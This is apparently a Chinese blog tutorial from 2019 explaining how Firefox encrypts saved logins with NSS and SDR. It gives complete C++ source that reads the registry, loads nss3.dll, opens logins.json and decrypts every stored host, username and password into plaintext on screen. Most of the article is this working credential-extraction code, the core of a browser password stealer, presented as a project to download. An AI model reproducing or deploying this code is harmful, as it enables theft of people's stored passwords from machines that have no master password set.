火狐浏览器登录信息提取与解密

2019-07-18 约 5805 字预计阅读 12 分钟

Firefox加密原理

为满足开发者创建满足各种安全标准的应用程序，Mozilla开发了一个叫做“Network Security Services”,或叫NSS的开源库。Firefox使用其中一个叫做”Security Decoder Ring”，或叫SDR的API来帮助实现账号证书的加密和解密函数。

Firefox是如何使用它完成加密的:

当一个Firefox配置文件被首次创建时，一个叫做SDR的随机key和一个Salt(注：Salt，在密码学中，是指通过在密码任意固定位置插入特定的字符串，让散列后的结果和使用原始密码的散列结果不相符，这种过程称之为“加盐”)就会被创建并存储在一个名为“key3.db”的文件中。利用这个key和盐，使用3DES加密算法来加密用户名和密码。密文是Base64编码的，并存储在一个叫做“logins.json”的文件中。logins.json和key3.db文件均位于**%AppData\Roaming\Mozilla\Firefox\Profiles\[random_profile]**目录下。

所以我们要做的就是得到SDR密钥。这个key被保存在一个叫PCKS#11软件“令牌”的容器slot中。该令牌被封装进入内部编号为PKCS#11的“槽位”中。因此需要访问该槽位来破译账户证书。

还有一个问题，这个SDR也是用3DES(DES-EDE-CBC)算法加密的。解密密钥是Mozilla叫做“主密码”的hash值，以及一个位于key3.db文件中对应的叫做“全局盐”的值。

Firefox用户可以在浏览器的设置中设定主密码，但关键是好多用户不知道这个特性。正如我们看到的，用户整个账号证书的完整性链条依赖于安全设置中选择的密码，它是攻击者唯一不知道的值。如果用户使用一个强健的主密码，那么攻击者想要恢复存储的证书是不太可能的。

那么如果用户没有设置主密码，空密码就会被使用。这意味着攻击者可以提取全局盐，获得它与空密码做hash运算结果，然后使用该结果破译SDR密钥。再用破译的SDR密钥危害用户证书。

该过程看起来就是这样：

负责SDR解密的主要函数是PK11SDR_Decrypt。

参考资料：

NSS reference

PKCS11 Implement

NSS API Guidelines

C++ 程序实现

注：您可以使用此项目解密Firefox上保存的用户名和密码。代码在Firefox 67.0.4 (x64 zh-CN)上测试。如果您将使用Firefox x86上的代码，则必须使用x86编译代码，您还必须更改x86的程序文件路径。

头文件Firefox_decrypt.h

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68


#pragma once
#ifndef _FirefoxDecrypt_
#define _FirefoxDecrypt_
#include<iostream>
#include <Windows.h>
#include <string>
using std::string;

// Structs and typedefs
typedef enum {
	siBuffer,
	siClearDataBuffer,
	siCipherDataBuffer,
	siDERCertBuffer,
	siEncodedCertBuffer,
	siDERNameBuffer,
	siEncodedNameBuffer,
	siAsciiNameString,
	siAsciiString,
	siDEROID
} SECItemType;

typedef struct SECItemStr SECItem;

struct SECItemStr {
	SECItemType type;
	unsigned char* data;
	unsigned int len;
};

typedef enum _SECStatus {
	SECWouldBlock = -2,
	SECFailure = -1,
	SECSuccess = 0
} SECStatus;

typedef unsigned int PRUint32;// For PL_Base64Decode
typedef void PK11SlotInfo; // For PK11_Authenticate
typedef int PRBool; // For PK11_Authenticate

typedef SECStatus(*fpNSS_Init)(const char* configdir);
typedef char* (*fpPL_Base64Decode)(const char* src, PRUint32 srclen, char* dest);
typedef SECStatus(*fpPK11SDR_Decrypt)(SECItem* data, SECItem* result, void* cx);
typedef SECStatus(*fpPK11_Authenticate)(PK11SlotInfo* slot, PRBool loadCerts, void* wincx);
typedef PK11SlotInfo* (*fpPK11_GetInternalKeySlot)();
typedef void (*fpPK11_FreeSlot)(PK11SlotInfo* slot);
typedef SECStatus(*fpNSS_Shutdown)();

// 全局变量
extern fpNSS_Init NSS_Init;
extern fpPL_Base64Decode PL_Base64Decode;
extern fpPK11SDR_Decrypt PK11SDR_Decrypt;
extern fpPK11_Authenticate PK11_Authenticate;
extern fpPK11_GetInternalKeySlot PK11_GetInternalKeySlot;
extern fpPK11_FreeSlot PK11_FreeSlot;
extern fpNSS_Shutdown NSS_Shutdown;

// Functions
string getInstallationPath();
HMODULE loadLibrary(string installationPath);
void dllFunction(HMODULE lib);
string getProfilePath();
char* getBuffer(string profilePath);
unsigned char* decrypt(string encryptedString);
size_t charCount(const char* str, size_t size, const char ch);
char* U2G(const char* utf8);

#endif // !_FirefoxDecrypt_

SECItem:A structure that points to other structures.A SECItem structure can be used to associate your own data with an SSL socket.(指向其他结构的结构。一个SECItem结构可以用于自己的数据与SSL套接字关联。)

SECStatus:The return value for many SSL functions.(许多SSL函数的返回值。)

PK11SlotInfo:An opaque structure representing a physical or logical PKCS #11 slot.(表示物理或逻辑PKCS＃11插槽的不透明结构。)

获取Firefox安装路径模块（InstallatonPath_Get.cpp）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


#include"Firefox_decrypt.h"
#define MY_BUFSIZE 128 // Arbitrary initial value.
// Dynamic allocation will be used.
constexpr auto Get_failed = "get_InstallationPath Failed";
// 通过注册表获取软件的安装路径
string getInstallationPath(){
	HKEY hKey;
	TCHAR szProductType[MY_BUFSIZE];
	DWORD dwBufLen = MY_BUFSIZE;
	LONG lRet;
	// 下面是打开注册表, 只有打开后才能做其他操作
	lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, // 要打开的根键
		TEXT("SOFTWARE\\Mozilla\\Mozilla Firefox\\67.0.4 (x64 zh-CN)\\Main"), // 要打开的子子键（火狐版本67.0.4 (x64 zh-CN)）
		0, // 这个一定要为0
		KEY_QUERY_VALUE,	// 指定打开方式,此为读
		//KEY_QUERY_VALUE|KEY_WOW64_64KEY, // 32位程序非要获取64位的注册表需要在打开键时，添加参数KEY_WOW64_64KEY
		&hKey); // 用来返回句柄
	if (lRet == ERROR_SUCCESS) // 判断是否打开成功
	{
		// 打开注册表成功
		// 开始查询
		lRet = RegQueryValueEx(hKey, // 打开注册表时返回的句柄
			TEXT("Install Directory"), //要查询的名称,火狐安装目录记录在这里
			NULL, // 一定为NULL或者0
			NULL,
			(LPBYTE)szProductType, // 我们要的东西放在这里
			&dwBufLen);
		if (lRet == ERROR_SUCCESS) // 判断是否查询成功
		{
			RegCloseKey(hKey);
			return (char*)szProductType;
		}
		else
		{
			printf("获得安装目录失败\n");
			return Get_failed;
		}
	}
	else {
		printf("打开注册表失败\n");
		return Get_failed;
	}
}

通过注册表获得安装路径。参考

动态加载库模块（Library_Load.cpp）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


#include"Firefox_decrypt.h"
// 动态加载库文件 
HMODULE loadLibrary(string installationPath) {
	const char nssLibraryName[] = "nss3.dll";	// 加载动态链接库文件nss.dll
	SetCurrentDirectory(installationPath.c_str());	// 切换到nss.dll文件所在目录

	HMODULE nssLib = LoadLibrary(nssLibraryName);	// 加载nss.dll文件
	if (nssLib == NULL) {	// 模块句柄返回为空，动态加载失败
		printf("Library couldnt loaded!.. %d\n", GetLastError());
	}
	return	nssLib;	// 返回模块句柄
}

获取库方法模块（DLL_Function.cpp）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


#include"Firefox_decrypt.h"
// Global Functions
fpNSS_Init NSS_Init;
fpPL_Base64Decode PL_Base64Decode;
fpPK11SDR_Decrypt PK11SDR_Decrypt;
fpPK11_Authenticate PK11_Authenticate;
fpPK11_GetInternalKeySlot PK11_GetInternalKeySlot;
fpPK11_FreeSlot PK11_FreeSlot;
fpNSS_Shutdown NSS_Shutdown;
void dllFunction(HMODULE lib) {
	// 通过模块句柄，GetProcAddress函数检索指定的动态链接库(DLL)中的输出库函数地址。
	NSS_Init = (fpNSS_Init)GetProcAddress(lib, "NSS_Init");	// 初始化
	PL_Base64Decode = (fpPL_Base64Decode)GetProcAddress(lib, "PL_Base64Decode");	// Base64解码
	PK11SDR_Decrypt = (fpPK11SDR_Decrypt)GetProcAddress(lib, "PK11SDR_Decrypt");	// SDR解密
	PK11_Authenticate = (fpPK11_Authenticate)GetProcAddress(lib, "PK11_Authenticate");	// 使用主密码对slot鉴权
	PK11_GetInternalKeySlot = (fpPK11_GetInternalKeySlot)GetProcAddress(lib, "PK11_GetInternalKeySlot");	// 得到内部key槽
	PK11_FreeSlot = (fpPK11_FreeSlot)GetProcAddress(lib, "PK11_FreeSlot");	// 释放获得的key槽
	NSS_Shutdown = (fpNSS_Shutdown)GetProcAddress(lib, "NSS_Shutdown");	// 关闭
}

GetProcAddress：

GetProcAddress函数检索指定的动态链接库(DLL)中的输出库函数地址。

函数原型：

1
2
3
4


FARPROC GetProcAddress(
  HMODULE hModule,    // DLL模块句柄
  LPCSTR lpProcName   // 函数名
);

参数： **hModule **:包含此函数的DLL模块的句柄。LoadLibrary或者GetModuleHandle函数可以返回此句柄。 lpProcName: 包含函数名的以NULL结尾的字符串，或者指定函数的序数值。如果此参数是一个序数值，它必须在一个字的底字节，高字节必须为0。

返回值：如果函数调用成功，返回值是DLL中的输出函数地址。如果函数调用失败，返回值是NULL。得到进一步的错误信息，调用函数GetLastError。

注释： GetProcAddress函数被用来检索在DLL中的输出函数地址。 lpProcName指针指向的函数名，拼写和大小写必须和DLL源代码中的模块定义文件(.DEF)中输出段(EXPORTS)中指定的相同。Win32 API函数的输出名可能不同于你在代码中调用的这些函数名，这个不同被宏隐含在相关的SDK头文件中。如果想得到更多信息，请参考Win32函数原型(Win32 Function Prototypes)。 lpProcName参数能够识别DLL中的函数，通过指定一个与函数相联系的序数值(在.DEF中的EXPORTS段)。GetProcAddress函数验证那个指定的序数值是否在输出的序数1和最高序数值之间(在.DEF中)。函数用这个序数值作为索引从函数表中读函数地址，假如.DEF 文件不连续地定义函数的序数值，如从1到N(N是输出的函数序数值)，错误将会发生，GetProcAddress将会返回一个错误的、非空的地址，虽然指定的序数没有对应的函数。为了防止函数不存在，函数应该通过名字指定而不是序数值。

NSS_Init：初始化NSS函数；

PL_Base64Decode：Base64解码函数；

PK11SDR_Decrypt：SDR解密函数；

PK11_Authenticate：slot授权函数；

PK11_GetInternalKeySlot：获得内部key槽函数；

PK11_FreeSlot：释放key槽函数；

NSS_Shutdown：关闭NSS函数；

获取保存登录信息文件路径模块（ProfilePath_Get.cpp）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


#include"Firefox_decrypt.h"
#include <ShlObj_core.h>
constexpr auto Get_failed = "get_ProfilePath Failed";
string getProfilePath() {
	char* appDataPath = (char*)malloc(sizeof(char) * MAX_PATH);
	if (appDataPath != NULL) {
		SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, appDataPath);	// 获取当前用户的文件系统目录C:\Users\username\AppData\Roaming（CSIDL_APPDATA默认为AppData下的Roaming）
		string profileName = "";
		string sAppDataPath = appDataPath;
		//printf("%s\n", appDataPath);
		sAppDataPath = sAppDataPath + "\\Mozilla\\Firefox\\Profiles\\";	// Firefox的profiles路径
		WIN32_FIND_DATA ffd;	// WIN32_FIND_DATA包含文件的属性信息
		HANDLE hFind = FindFirstFile((sAppDataPath + "\\*").c_str(), &ffd);	// 根据文件名查找文件，成功返回一个句柄
		do {
			if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {	// dwFileAttributes是目标文件标记，&表示做与运算，FILE_ATTRIBUTE_DIRECTORY是文件夹的标志符，这句if的功能就是判断目标文件是否为文件夹
				string str = ffd.cFileName;

				if (str.find("release") != str.npos) {	// profiles下带有release的文件夹即为包含logins.json的文件夹，如845f4a08.default-release，安装时随机生成带有release名字的文件
					profileName = ffd.cFileName;
				}
			}
		} while (FindNextFile(hFind, &ffd) != 0);	// 遍历profiles文件夹
		//printf("appdata: %s\n", sAppDataPath.c_str());

		string profilePath = sAppDataPath + profileName;	// logins.json的路径
		return profilePath;
	}
	else
		return Get_failed;
}
	

SHGetFolderPathA：参考window开发文档SHGetFolderPathA function

获取登录信息模块（Data_Get.cpp）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


#include"Firefox_decrypt.h"
// 获取logins.json中保存的登录信息
char* getBuffer(string profilePath) {
	profilePath = profilePath + "\\logins.json";

	DWORD szBuffer = 100000, szWrotedBytes;
	char* buffer = (char*)malloc(szBuffer);
	HANDLE fLoginFile = CreateFileA(profilePath.c_str(), GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);	// 打开文件logins.json，成功返回句柄
	if (fLoginFile != INVALID_HANDLE_VALUE) {
		if(!(ReadFile(fLoginFile, buffer, szBuffer, &szWrotedBytes, NULL)))	// 读取内容到缓冲区
			printf("File read failed!..\n");
		//printf("%s,\n", buffer);
	}
	else {
		printf("File cannot found!..\n");
	}
	return buffer;
}

CreateFileA:

Creates or opens a file or I/O device. The most commonly used I/O devices are as follows: file, file stream, directory, physical disk, volume, console buffer, tape drive, communications resource, mailslot, and pipe. The function returns a handle that can be used to access the file or device for various types of I/O depending on the file or device and the flags and attributes specified.

To perform this operation as a transacted operation, which results in a handle that can be used for transacted I/O, use theCreateFileTransacted function.

主要用于打开一个文件或者是IO设备，最常用于打开一个IO设备，

函数原型：　

HANDLE CreateFile(

　　LPCTSTR lpFileName, //指向文件名的指针

　　DWORD dwDesiredAccess, //访问模式（写/读）

　　DWORD dwShareMode, //共享模式

　　LPSECURITY_ATTRIBUTES lpSecurityAttributes, //指向安全属性的指针

　　DWORD dwCreationDisposition, //如何创建

　　DWORD dwFlagsAndAttributes, //文件属性

　　HANDLE hTemplateFile //用于复制文件句柄

　　);

　　参数列表

　　lpFileName String 要打开的文件的名字

　　dwDesiredAccess Long 如果为 GENERIC_READ 表示允许对设备进行读访问；如果为 GENERIC_WRITE 表示允许对设备进行写访问（可组合使用）；如果为零，表示只允许获取与一个设备有关的信息

　　dwShareMode Long，零表示不共享； FILE_SHARE_READ 和/或 FILE_SHARE_WRITE 表示允许对文件进行共享访问

　　lpSecurityAttributes SECURITY_ATTRIBUTES，指向一个SECURITY_ATTRIBUTES结构的指针，定义了文件的安全特性（如果操作系统支持的话）

　　dwCreationDisposition Long，下述常数之一：

　　CREATE_NEW 创建文件；如文件存在则会出错

　　CREATE_ALWAYS 创建文件，会改写前一个文件

　　OPEN_EXISTING 文件必须已经存在。由设备提出要求

　　OPEN_ALWAYS 如文件不存在则创建它

　　TRUNCATE_EXISTING 讲现有文件缩短为零长度

　　dwFlagsAndAttributes Long，一个或多个下述常数

　　FILE_ATTRIBUTE_ARCHIVE 标记归档属性

　　FILE_ATTRIBUTE_COMPRESSED 将文件标记为已压缩，或者标记为文件在目录中的默认压缩方式

　　FILE_ATTRIBUTE_NORMAL 默认属性

　　FILE_ATTRIBUTE_HIDDEN 隐藏文件或目录

　　FILE_ATTRIBUTE_READONLY 文件为只读

　　FILE_ATTRIBUTE_SYSTEM 文件为系统文件

　　FILE_FLAG_WRITE_THROUGH 操作系统不得推迟对文件的写操作

　　FILE_FLAG_OVERLAPPED 允许对文件进行重叠操作

　　FILE_FLAG_NO_BUFFERING 禁止对文件进行缓冲处理。文件只能写入磁盘卷的扇区块

　　FILE_FLAG_RANDOM_ACCESS 针对随机访问对文件缓冲进行优化

　　FILE_FLAG_SEQUENTIAL_SCAN 针对连续访问对文件缓冲进行优化

　　FILE_FLAG_DELETE_ON_CLOSE 关闭了上一次打开的句柄后，将文件删除。特别适合临时文件

　　也可在Windows NT下组合使用下述常数标记：

　　SECURITY_ANONYMOUS， SECURITY_IDENTIFICATION， SECURITY_IMPERSONATION， SECURITY_DELEGATION， SECURITY_CONTEXT_TRACKING， SECURITY_EFFECTIVE_ONLY

　　hTemplateFile Long，如果不为零，则指定一个文件句柄。新文件将从这个文件中复制扩展属性

返回值

　　如执行成功，则返回文件句柄。

　　INVALID_HANDLE_VALUE表示出错，会设置GetLastError。即使函数成功，但若文件存在，且指定了CREATE_ALWAYS 或 OPEN_ALWAYS，GetLastError也会设为ERROR_ALREADY_EXISTS

解密模块（Decrypt.cpp）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


#include"Firefox_decrypt.h"
unsigned char* decrypt(string encryptedString) {
	// Base64解码
	size_t szDecoded = encryptedString.size() / 4 * 3 - charCount(encryptedString.c_str(), encryptedString.size(), '=');
	char* chDecoded = (char*)malloc(szDecoded + 1);
	//memset(chDecoded, NULL, szDecoded+1);

	SECItem encrypted, decrypted;
	decrypted.data = NULL;
	decrypted.len = NULL;
	encrypted.data = (unsigned char*)malloc(szDecoded + 1);
	encrypted.len = (unsigned int)szDecoded;
	//memset(encrypted.data, NULL, szDecoded + 1);
	
	// Firefox加密解码
	if (PL_Base64Decode(encryptedString.c_str(), (unsigned int)encryptedString.size(), chDecoded)&&(chDecoded!=NULL)&&(encrypted.data!=NULL)) {
		memcpy(encrypted.data, chDecoded, szDecoded);
		//printf("encrypted.data is :%s\n", encrypted.data);
		PK11SlotInfo* objSlot = PK11_GetInternalKeySlot();
		if (objSlot) {
			if (PK11_Authenticate(objSlot, TRUE, NULL) == SECSuccess) {
				SECStatus s = PK11SDR_Decrypt(&encrypted, &decrypted, nullptr);
				//printf("decrypted.data is :%s\n", decrypted.data);
			}
			else {
				printf("Auth err!\n");
			}
		}
		else {
			printf("OBJ err!\n");
		}
		PK11_FreeSlot(objSlot);
	}
	unsigned char* temp = (unsigned char*)malloc((_int64)decrypted.len + 1);
	if (temp != NULL) {
		temp[(_int64)decrypted.len] = NULL;
		memcpy(temp, decrypted.data, (__int64)decrypted.len);
	}
	return temp;
}

先进行Base64编码解码，再将解码后的加密信息进行解密。

Firefox解密时，先申请获得内部key槽slot，获得成功后，再进行Authenticate授权，授权成功后，调用PK11SDR_Decrypt进行解密。

辅助Base64解码模块（Char_Count.cpp）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


// 获得Base64编码填充字符的数目
size_t charCount(const char* str, size_t size, const char ch) {
	size_t count = 0;
	for (size_t i = size - 1; i > size - 4; i--) {
		if (str[i] == ch)
			count++;
		else
			break;
	}
	return count;
}

Base64编码时在末尾填充 “=”。

字符转换模块（UTF8_Trans.cpp）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


#include"Firefox_decrypt.h"
#pragma warning (disable:26451)
char* U2G(const char* utf8)//字符转换函数
{
	int len = MultiByteToWideChar(CP_UTF8, 0, utf8, -1, NULL, 0);
	wchar_t* wstr = new wchar_t[len + 1];
	memset(wstr, 0, len + 1);
	MultiByteToWideChar(CP_UTF8, 0, utf8, -1, wstr, len);
	len = WideCharToMultiByte(CP_ACP, 0, wstr, -1, NULL, 0, NULL, NULL);
	char* str = new char[len + 1];
	memset(str, 0, len + 1);
	WideCharToMultiByte(CP_ACP, 0, wstr, -1, str, len, NULL, NULL);
	if (wstr) delete[] wstr;
	return str;
}

如果用户名或密码中有中文字符，直接输出会产生乱码，需要进行转码之后输出，才能正确显示。

主模块（run.cpp）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


#include"Firefox_decrypt.h"
#include<regex>

int main() {
	string installationPath = getInstallationPath();	// 获取Firefox的安装路径（通过注册表）
	HMODULE lib = loadLibrary(installationPath);	// 动态加载nss库(Network Security Services)(网络安全服务)，加载动态链接库文件nss.dll，返回模块句柄
	if (lib == NULL)	// 模块句柄为空，则动态加载失败
		return -1;
	dllFunction(lib);	// 获取nss库中等会需要用到的方法
	string profilePath = getProfilePath();	// 获取Firefox保存登录信息(用户名，密码)的文件logins.json的路径
	SECStatus s = NSS_Init(profilePath.c_str());	// 初始化NSS库
	if (s != SECSuccess) {
		printf("Error when initialization!\n");
	}
	string loginStrings = getBuffer(profilePath);	// 获取logins.json中保存的登录信息
	// 正则表达式匹配
	std::regex reHostname("\"hostname\":\"([^\"]+)\"");
	std::regex reUsername("\"encryptedUsername\":\"([^\"]+)\"");
	std::regex rePassword("\"encryptedPassword\":\"([^\"]+)\"");
	std::smatch match;
	string::const_iterator searchStart(loginStrings.cbegin());	// 循环迭代
	while (std::regex_search(searchStart, loginStrings.cend(), match, reHostname)) {
		printf("Host\t: %s \n", U2G(match.str(1).c_str()));
		std::regex_search(searchStart, loginStrings.cend(), match, reUsername);
		printf("Username: %s \n", U2G((const char*)decrypt(match.str(1))));	// decrypt用户名并转码输出
		std::regex_search(searchStart, loginStrings.cend(), match, rePassword);
		printf("Password: %s \n", U2G((const char*)decrypt(match.str(1))));	// decrypt密码并转码输出
		searchStart += match.position() + match.length();
		printf("-----------------------------------------\n");
	}
	NSS_Shutdown();	// 关闭NSS库
	//system("PAUSE");
	return 0;
}

运行测试

运行结果如下，程序执行正确。

VS项目文件已上传至GithubFirefox_Decrypt